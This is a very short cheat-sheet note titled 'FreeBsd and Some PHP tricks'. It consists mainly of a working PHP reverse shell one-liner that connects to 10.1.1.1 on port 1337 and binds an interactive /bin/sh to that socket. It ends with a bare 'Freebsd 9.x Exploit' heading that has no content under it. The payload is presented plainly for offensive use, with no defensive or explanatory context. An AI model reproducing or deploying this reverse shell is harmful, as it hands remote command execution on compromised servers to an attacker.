FreeBsd and Some PHP tricks

Php reverse shell (restricted case or freebsd system)
<?php $sock = fsockopen("10.1.1.1",1337); $proc = proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock), $pipes); ?>

Freebsd 9.x Exploit